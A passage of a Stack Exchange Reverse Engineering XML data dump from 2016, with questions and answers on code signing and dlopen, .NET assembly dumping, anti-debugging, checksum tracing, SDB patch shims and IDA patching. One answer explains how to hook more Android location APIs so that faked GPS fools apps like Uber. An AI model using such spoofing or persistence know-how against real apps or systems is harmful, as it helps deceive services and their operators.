&lt;a href=&quot;http://www.malware-analyzer.com/packer-analysis-detection&quot; rel=&quot;nofollow noreferrer&quot;&gt;list&lt;/a&gt; of packer detection tools.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2016-10-21T14:16:13.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13779" PostTypeId="2" ParentId="13776" CreationDate="2016-10-21T14:24:18.577" Score="3" Body="&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: The below applies only to non-jailbroken devices. Jailbreaks usually disable signature checking completely to allow unsigned homebrew software to run.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Apparently only libraries which are listed as dependencies of the executable in the header (&lt;code&gt;LC_LOAD_DYLIB&lt;/code&gt; and similar commands) are checked, and those loaded with &lt;code&gt;dlopen&lt;/code&gt; are not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is mentioned indirectly in the &lt;a href=&quot;https://developer.apple.com/library/content/documentation/Security/Conceptual/CodeSigningGuide/Procedures/Procedures.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Code Signing Guide&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As with other Gatekeeper functions, this check is performed the first&#xA;  time the app is run. It does not apply to libraries that the app loads&#xA;  itself using the &lt;code&gt;dlopen&lt;/code&gt; function, although those libraries are still&#xA;  potentially subject to library validation, as described in Using&#xA;  Library Validation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Following the link, we see this passage:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Starting in iOS 8 and macOS 10.10, the system offers library&#xA;  validation as a policy for the dynamic libraries that a process links&#xA;  against. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The policy is simple: A program may link against any library&#xA;  with the same team identifier in its code signature as the main&#xA;  executable, or with any Apple system library. Requests to link against&#xA;  other libraries are denied. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In iOS, an Apple system library is a&#xA;  library that Apple mastered into the OS image. In macOS, an Apple&#xA;  system library is a library shipped in /System/Library. The team&#xA;  identifier is the 10-character alphanumeric string, such as&#xA;  YH9SZ5LKR4, associated with your developer account, and recorded in&#xA;  your Apple-issued signing certificate. &#xA;  In iOS, library validation is&#xA;  &lt;strong&gt;always enabled&lt;/strong&gt; for all apps. There is nothing you need to do to opt&#xA;  in.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So it would seem that &lt;code&gt;dlopen&lt;/code&gt; &lt;em&gt;should not&lt;/em&gt; be able to load unsigned libraries in iOS 8 and higher, though I have not checked this.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2016-11-23T19:08:23.040" LastActivityDate="2016-11-23T19:08:23.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13780" PostTypeId="2" ParentId="13000" CreationDate="2016-10-21T16:15:25.233" Score="0" Body="&lt;p&gt;Welcome to the world of reverse engineering! What you are facing is differents sorts of anti-debugging techniques. You mentioned &quot;IsDebuggerPresent and ReleaseMutex&quot;. Those are records in the windows registry and they get enabled when you run a program in debug mode in Windows. They are usually linked with some routine that will cause debugging difficulties, such as the instruction failure you faced (0x0) and many other things that could also result in not letting the code execute at all. Those things are usually caused by some programs called &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1779/what-are-the-different-types-of-packers&quot;&gt;packers&lt;/a&gt;, which work before the main program does. Manual unpacking need lots of research and experience. Since you are a beginner I would suggest you start working with simple cmd programs in C/C++ or any other language can build you executables for you to debug. Get familiar with the assembly, and the way your OS communicates with the memory and the processor. Start working with packers and packed executables after getting some experience and confidence. Last, but not least, I will give you the &lt;a href=&quot;https://beginners.re/RE4B-EN.pdf&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; of the best free book for reversing out there. Read some stuff or even keep it as a reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yours sincerely, a fellow Computer Science student.&lt;/p&gt;&#xA;" OwnerUserId="12537" LastActivityDate="2016-10-21T16:15:25.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13781" PostTypeId="1" AcceptedAnswerId="13784" CreationDate="2016-10-21T18:04:53.860" Score="2" ViewCount="4065" Body="&lt;p&gt;I have a client application that, once the user is authenticated with my server, sends a byte array which is then loaded using Assembly.Load. I am pretty sure once that happens, even if the loaded bytes are dumped from memory, they cannot be used to re-construct source code. I just wanted to confirm this, or get more information in case I am wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="17838" LastEditorUserId="21864" LastEditDate="2021-02-11T11:53:35.943" LastActivityDate="2021-02-11T11:53:35.943" Title="Can my C# program be dumped from memory and reversed into source code?" Tags="|disassembly|decompilation|.net|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13782" PostTypeId="1" CreationDate="2016-10-21T20:18:27.120" Score="0" ViewCount="127" Body="&lt;p&gt;I'm organizing an introduction to reverse engineering weekend class in my city and wanted to get some feedback and advice on how to structure it. I'm considering two 5 hour sessions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The objective is for the students to be able to use linux tools and and reverse engineering tools (specifically radare2/GDB) to start doing CTFs and crackmes to practice. The target audience is software engineers, developers and students. Having said that and after a few conversations with potential participants, quality here is mediocre at best so I rather prepare for the worse and assume some participants won't even know the behind the scenes of a compilation process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have so far is the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Linux usage&lt;/li&gt;&#xA;&lt;li&gt;Memory map&lt;/li&gt;&#xA;&lt;li&gt;Binary sections&lt;/li&gt;&#xA;&lt;li&gt;Passing function arguments&lt;/li&gt;&#xA;&lt;li&gt;Radare installation&lt;/li&gt;&#xA;&lt;li&gt;Quick intro to x86 assembler&lt;/li&gt;&#xA;&lt;li&gt;Gdb&lt;/li&gt;&#xA;&lt;li&gt;Stacks - return address&lt;/li&gt;&#xA;&lt;li&gt;stack canaries&lt;/li&gt;&#xA;&lt;li&gt;Buffer overflows&lt;/li&gt;&#xA;&lt;li&gt;Shellcode&lt;/li&gt;&#xA;&lt;li&gt;Nop slides&lt;/li&gt;&#xA;&lt;li&gt;CTF’s challenges&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="17841" LastEditorUserId="2147" LastEditDate="2016-10-22T01:29:07.213" LastActivityDate="2016-10-22T02:06:31.317" Title="Advice on creating a reverse engineering introduction course?" Tags="|x86|tools|" AnswerCount="1" CommentCount="1" ClosedDate="2016-10-23T17:18:51.017" ContentLicense="CC BY-SA 3.0" />
  <row Id="13783" PostTypeId="1" CreationDate="2016-10-21T21:03:56.910" Score="2" ViewCount="2274" Body="&lt;p&gt;I'm trying to write to a certain file format directly out of an application. Although the file format itself is extremely simple, it contains a 32-bit checksum I don't know how to calculate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have access to an Win32 GUI application (quite old, coded in Delphi 7), that writes these files including the checksum. I already tried Ollydbg and IDA Pro Free to disassemble/debug, but I don't really know how to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to trace the data? As I know the output file, I know the checksum and the input, is it possible to set a breakpoint &quot;whenever the value 0x12345678 appears somewhere&quot;, and then I would be able to step back to find the algorithm?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how I should start? Any good tutorial on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Thanks to the comments/answer I was able to do find a function that sets the checksum invalid value. I was also able to find two function that calls ReadFile. The first seems to read the header to see if the file seems to be ok, and the the other one is called by the function that sets checksum invalid in a loop, the file is read in small pieces and then processed. Unfortunately it does not call the function directly, the call stack shows, that from the functions that sets checksum invalid there are 6 functions called until ReadFile is done. Is there some way to trace the data, like a breakpoint everytime the buffer with the file contents is accessed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 2:&#xA;I started to follow every command since the first buffer is filled, but it is horrible, I steped into about 100 functions for hours now and it has only ever accessed the first 6 bytes: Sometimes it reads data, calculates something, but that value doesn't seem to be used, single bytes are compared if the are LFs or CRs... Now I know why it takes a few seconds for that program to load a file of 10KB on an Core i7.&#xA;It seems to read blocks of 128 bytes and process that data directly instead of checking the checksum first. Additionally there seems to be multithreading involved. I tried to set a memory breakpoint, but then the program crashes (OllyDbg has shown a warning that this could happen).&#xA;Is it possible to do a backward trace &quot;offline&quot;, I could set a start point when it first reads the file (I corrupted on purpose) and set a end point where it sets the checksum incorrect variable. It records all register/memory used in between and I could step back from the point where it sets checksum incorrect. Any idea?&lt;/p&gt;&#xA;" OwnerUserId="17842" LastEditorUserId="17842" LastEditDate="2016-10-24T23:34:46.930" LastActivityDate="2016-10-24T23:34:46.930" Title="Reverse engineer a checksum algorithm from application" Tags="|ida|ollydbg|delphi|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13784" PostTypeId="2" ParentId="13781" CreationDate="2016-10-21T22:20:01.273" Score="8" Body="&lt;p&gt;It is in fact trivial to dump the byte array or the module directly from &lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot; rel=&quot;noreferrer&quot;&gt;dnSpy&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To mimic the described scenario I wrote some trivial example code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;using System.IO;&#xA;using System.Reflection;&#xA;&#xA;namespace DumpAssembly&#xA;{&#xA;    class Program&#xA;    {&#xA;        static void Main(string[] args)&#xA;        {&#xA;            var rawAssembly = File.ReadAllBytes(&quot;Test.dll&quot;);&#xA;            var assembly = Assembly.Load(rawAssembly);&#xA;            foreach(var type in assembly.ExportedTypes)&#xA;            {&#xA;                if (type.Name == &quot;Test&quot;)&#xA;                {&#xA;                    var method = type.GetMethod(&quot;DoCoolStuff&quot;);&#xA;                    method.Invoke(null, null);&#xA;                    break;&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Drop the generated assembly in dnSpy, start debugging and step a little through the Main method. Soon you will be able to save the newly-loaded module:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tr6Ac.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tr6Ac.png&quot; alt=&quot;Dumping the module&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the module is saved, opening it in dnSpy will easily give away your intellectual property:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NzmuN.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NzmuN.png&quot; alt=&quot;Decompiling the module&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now a partial solution for this is obfuscating your module with something like &lt;a href=&quot;https://yck1509.github.io/ConfuserEx&quot; rel=&quot;noreferrer&quot;&gt;ConfuserEx&lt;/a&gt; (it's open source, commercial products are available). This might slow down your attackers but it would be naive to assume they cannot decompile and understand your code within a reasonable amount of time.&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2016-10-21T22:20:01.273" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13785" PostTypeId="2" ParentId="13782" CreationDate="2016-10-22T01:29:58.693" Score="2" Body="&lt;p&gt;&lt;em&gt;This type of questions does not quite fit into the stack exchange model. It is better to google for relevant and up-to-date references instead.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;You can find an old similar question &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/265/where-to-find-free-training-in-reverse-engineering&quot;&gt;here&lt;/a&gt;, and you can see the reasoning behind closing such questions &lt;a href=&quot;https://reverseengineering.meta.stackexchange.com/questions/53/how-should-book-tutorial-questions-be-dealt-with&quot;&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I advise against writing/planning something for yourself, as a lot of time and effort was put by others and there are plenty of existing reverse engineering introduction materials. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a short list of tutorial repositories and collections, that seemed constantly maintained for a period of time and relevant at the time of writing (October 2016).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://resources.infosecinstitute.com/category/reverse-engineering-2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Over 150 modules/articles (some include exercises) by the InfoSec Institute.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://opensecuritytraining.info/IntroductionToReverseEngineering.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;A two day class created by Matt Briggs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://hackeracademy.com/library/reverse_engineering&quot; rel=&quot;nofollow noreferrer&quot;&gt;Video presentations and exercises by Symantec&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-10-22T02:06:31.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13786" PostTypeId="1" CreationDate="2016-10-22T02:24:14.553" Score="1" ViewCount="414" Body="&lt;p&gt;I am reversing an application that uses the serial interface (COM1 port) and am using API Monitor to trace through the API calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a reference to &lt;code&gt;CreateFileA(&quot;\\.\Commsb96&quot;, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)&lt;/code&gt;. I believe this is opening the serial port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shortly afterwards, the code runs &lt;code&gt;DeviceIoControl&lt;/code&gt;, with the &lt;code&gt;dwIoControlCode&lt;/code&gt; (second parameter) set to &lt;code&gt;0x0022002b&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;API Monitor identified that as IOCTL_INTERNAL_USB_RECORD_FAILURE. Given that this is not a USB device, I suspect this is a mislabeling. If so, how do I identify what &lt;code&gt;0x0022002b&lt;/code&gt; is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if not, what the heck is IOCTL_INTERNAL_USB_RECORD_FAILURE. The calling DLL is VcomSB96.dll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="17826" LastActivityDate="2017-01-02T19:47:44.257" Title="Identifying DeviceIoControl argument" Tags="|windows|debuggers|winapi|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13787" PostTypeId="2" ParentId="13775" CreationDate="2016-10-22T02:24:54.417" Score="1" Body="&lt;p&gt;I ended up using the tool API Monitor. It took a ton of filtering, but I eventually found a reference to CreateFileA. Odd, because Ida Pro does not reference CreateFileA anywhere. Either way, it works! Thank you! &lt;/p&gt;&#xA;" OwnerUserId="17826" LastActivityDate="2016-10-22T02:24:54.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13788" PostTypeId="2" ParentId="13783" CreationDate="2016-10-22T03:01:09.717" Score="6" Body="&lt;p&gt;Here are the ideas I came up with:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;a href=&quot;http://www.cheatengine.org/&quot; rel=&quot;nofollow&quot;&gt;CheatEngine&lt;/a&gt;'s advanced memory analysis to &quot;breakpoint whenever the value 0x12345678 appears somewhere&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use any decent debugger's (such as &lt;a href=&quot;http://www.ollydbg.de/version2.html&quot; rel=&quot;nofollow&quot;&gt;OllyDbg&lt;/a&gt;) to add a conditional breakpoint on &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff557714(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;NtWriteFile&lt;/code&gt;&lt;/a&gt; to break on condition having the specific value.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the binary with a decent disassembler (such as &lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot; rel=&quot;nofollow&quot;&gt;IDA&lt;/a&gt;), find the imported file writing APIs and follow cross-references until you identify the CRC calculation code.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use signature scanning tools (such as &lt;a href=&quot;http://www.hexblog.com/?p=28&quot; rel=&quot;nofollow&quot;&gt;findcrypt&lt;/a&gt;, &lt;a href=&quot;https://tuts4you.com/download.php?view.1923&quot; rel=&quot;nofollow&quot;&gt;SnD Reverser Tool&lt;/a&gt;) to identify any widely used CRC algorithms (you may be lucky).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If any of the methods is unclear I can elaborate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;reading it more thoroughly now, I see your edit could actually warrant a new question, but basically it seems the code you're dealing with is small enough to trace manually. That means keep hitting the &quot;step into&quot; and follow that code and values. You might want to do that several times if you're having a hard time follow the trace. Otherwise if you identify a buffer that's being written into multiple times you can memory breakpoint it. Another approach might be to open the file in IDA and manually inspect the code. IDA makes it easier to statically read code, and also allows has some debugging functionalities.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-10-24T04:52:20.910" LastActivityDate="2016-10-24T04:52:20.910" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13789" PostTypeId="2" ParentId="13775" CreationDate="2016-10-22T07:30:05.250" Score="1" Body="&lt;p&gt;You just have to attach to the desired process with ollydbg or something similar and breakpoint &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa365467%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;ReadFile&lt;/a&gt;,&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa365747%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;WriteFile&lt;/a&gt;  and &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;CreateFile&lt;/a&gt;. (If you also need the information about the connection itself like baudrate or stuff like that you will have to set a breakpoint at &lt;a href=&quot;https://msdn.microsoft.com/de-de/library/windows/desktop/aa363436%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;SetCommState&lt;/a&gt; too.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After hitting a breakpoint you just have to follow the pointer on top of the stack to get to the position the current function got called.&lt;/p&gt;&#xA;" OwnerUserId="2772" LastActivityDate="2016-10-22T07:30:05.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13790" PostTypeId="1" AcceptedAnswerId="13791" CreationDate="2016-10-22T10:35:45.833" Score="0" ViewCount="1131" Body="&lt;p&gt;I wonder why the values of the stack pointer in IDA Pro have similar values.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mMQiw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mMQiw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain their meaning?&lt;/p&gt;&#xA;" OwnerUserId="17777" LastEditorUserId="53" LastEditDate="2017-04-28T12:48:39.213" LastActivityDate="2017-04-28T12:48:39.213" Title="Stack pointer values in IDA Pro" Tags="|ida|disassembly|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13791" PostTypeId="2" ParentId="13790" CreationDate="2016-10-22T11:36:07.133" Score="3" Body="&lt;p&gt;The call pushes the address of the next mnemonic on the stack. But the ret in the function explode_bomb will also pop this address from the stack. So the stack value at 0x8048b6e will stay the same. If the jump at 0x8048b67 is taken the stack will also be unchanged.&lt;/p&gt;&#xA;" OwnerUserId="2772" LastActivityDate="2016-10-22T11:36:07.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13792" PostTypeId="2" ParentId="6452" CreationDate="2016-10-22T12:24:22.527" Score="1" Body="&lt;p&gt;I have always used &lt;code&gt;gdbserver --remote-debug localhost:1234 ./yourapplication&lt;/code&gt; to start the gdbserver. If i remember correct the gdb connection could be configured under Window-&gt;Open Debugger Selector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway how about giving idapro or radare2 a try. Both are also able to connect to a gdbserver instance.&lt;/p&gt;&#xA;" OwnerUserId="2772" LastActivityDate="2016-10-22T12:24:22.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13793" PostTypeId="1" AcceptedAnswerId="13798" CreationDate="2016-10-22T19:15:04.850" Score="4" ViewCount="863" Body="&lt;p&gt;No matter what I do, I can't seem to be able to get my Windows 10 (64-bit, build 1607) to apply any patches in custom SDB's (as described in the &lt;a href=&quot;https://www.blackhat.com/docs/asia-14/materials/Erickson/WP-Asia-14-Erickson-Persist-It-Using-And-Abusing-Microsofts-Fix-It-Patches.pdf&quot; rel=&quot;nofollow&quot;&gt;article of Jon Erickson&lt;/a&gt; from 2014).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Jon's &lt;a href=&quot;https://github.com/rustyx/sdb-explorer/releases/tag/0.9&quot; rel=&quot;nofollow&quot;&gt;sdb-explorer&lt;/a&gt; to generate a patch SDB from the following source (assuming calc.exe's PE checksum is 0000BE15 and the entrypoint RVA is 0x2900):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;!sdbpatch&#xA;APP=calc.exe&#xA;DBNAME=calc_test&#xA;P:calc.exe,0xbe15&#xA;R:calc.exe,0x2900,CCCCCCC3&#xA;!endsdbpatch&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The exact commands are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sdb-explorer.exe -C calc-test.txt -o calc-test.sdb&#xA;sdbinst.exe -p calc-test.sdb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The install is successful but has no effect - &lt;em&gt;calc.exe&lt;/em&gt; still starts and runs normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence my question - has the PATCH mechanism been removed or somehow crippled in Windows 10?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;p.s. I need this for legitimate reasons - I'm trying to patch the touchpad utility which is posting mouse wheel messages which don't work in Windows 10 UWP apps, but the utility is signed with uiAccess=&quot;true&quot;, so I can't just patch the executable.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="17139" LastEditorUserId="17139" LastEditDate="2016-10-22T19:22:40.927" LastActivityDate="2016-12-22T18:31:16.833" Title="Are PATCH shims (.sdb's) no longer functional in Windows 10?" Tags="|windows|patching|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13794" PostTypeId="1" AcceptedAnswerId="13796" CreationDate="2016-10-23T10:37:09.710" Score="1" ViewCount="1364" Body="&lt;p&gt;I have an app in which I have to manually alter several flags in order to get to the part of the code Im interested in (imagine altering ZF to pass JNZ instruction). I have to do this every time I run application. What is the best way to do this permanently so I can simply run app to the part Im interested in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can patch binary (in different program - ie change jnz to jmp) and load it in IDA again but I have no idea how to load IDA database into it (to get my comments, function names I made etc etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="17856" LastActivityDate="2016-10-23T12:30:48.083" Title="IDA &amp; patching question" Tags="|ida|patching|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13795" PostTypeId="1" CreationDate="2016-10-23T12:01:13.250" Score="3" ViewCount="499" Body="&lt;p&gt;I'm using XPosed for faking gps location. I have faked and tested successfully these two apis:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;FusedLocationApi&lt;/code&gt; from &lt;code&gt;GoogleApiClient&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;LocationManager&lt;/code&gt; including two methods: &lt;code&gt;requestLocationUpdates&lt;/code&gt; and &lt;code&gt;getLastKnownLocation&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But when I test it on some other apps such as Grab, Uber or Google Map, they still display my location correctly. Are they using different APIs? How can I find that out?&lt;/p&gt;&#xA;" OwnerUserId="17531" LastEditorUserId="2147" LastEditDate="2016-10-23T18:19:30.020" LastActivityDate="2016-10-23T20:21:12.873" Title="Android: How many ways for getting GPS location" Tags="|android|gps|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13796" PostTypeId="2" ParentId="13794" CreationDate="2016-10-23T12:30:48.083" Score="4" Body="&lt;p&gt;You don't have to use separate program to patch in ida.&#xA;Simple select/highlight in ida-view where you wanna patch, then in Edit(menu)&gt;&gt;patch byte&#xA;Then after you are done patching what you need, Edit(menu&gt;&gt;apply patches to input file.&#xA;I usually keep the backup ( you get a option for that)&lt;/p&gt;&#xA;" OwnerUserId="17857" LastActivityDate="2016-10-23T12:30:48.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13797" PostTypeId="2" ParentId="13749" CreationDate="2016-10-23T17:25:24.127" Score="1" Body="&lt;p&gt;In most standalone assemblers you can use the &lt;code&gt;db&lt;/code&gt; directive to put literal bytes or character strings into the program. However, I'm not sure if it will work in ollydbg since its assembler is mainly intended for assembling instructions, not data. I would suggest instead to use the hex dump window for that. (I &lt;em&gt;think&lt;/em&gt; it can be used for editing text)&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-10-23T17:25:24.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13798" PostTypeId="2" ParentId="13793" CreationDate="2016-10-23T17:44:14.367" Score="2" Body="&lt;p&gt;From preliminary investigation by Jon, it seems patching functionality &lt;a href=&quot;https://github.com/evil-e/sdb-explorer/issues/2&quot; rel=&quot;nofollow&quot;&gt;has been indeed removed on Windows 10&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I've compared apphelp.dll on Windows 7 versus Windows 10. The Windows&#xA;  10 version does not have the function SeiApplyPatch. This is what is&#xA;  responsible for performing the PATCH. It appears that Microsoft has&#xA;  removed this feature.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, it seems you can &lt;a href=&quot;https://twitter.com/aionescu/status/790123280409690112&quot; rel=&quot;nofollow&quot;&gt;still use shims&lt;/a&gt;, although apparently not on all binaries.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-10-23T17:44:14.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13799" PostTypeId="2" ParentId="13795" CreationDate="2016-10-23T18:38:43.217" Score="1" Body="&lt;p&gt;Yes, according to the &lt;a href=&quot;https://developer.android.com/reference/android/location/LocationManager.html&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; there's an additional API supported by &lt;code&gt;LocationManager&lt;/code&gt;, called &lt;a href=&quot;https://developer.android.com/reference/android/location/LocationManager.html#requestSingleUpdate(java.lang.String,%20android.app.PendingIntent)&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;requestSingleUpdate&lt;/code&gt;&lt;/a&gt; that can be used to receive a single location update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since both &lt;code&gt;requestSingleUpdate&lt;/code&gt; and &lt;code&gt;requestLocationUpdates&lt;/code&gt; use &lt;a href=&quot;https://en.wikipedia.org/wiki/Function_overloading&quot; rel=&quot;nofollow&quot;&gt;overloading&lt;/a&gt; and have multiple prototypes (and thus implementations) please make sure to hook and support them all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note, there are ways (that require user interaction) to add a &lt;em&gt;test&lt;/em&gt; &lt;code&gt;LocationProvider&lt;/code&gt; that can spoof locations through the API. see &lt;a href=&quot;https://mobiarch.wordpress.com/2012/07/17/testing-with-mock-location-data-in-android/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; for example.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-10-23T20:21:12.873" LastActivityDate="2016-10-23T20:21:12.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
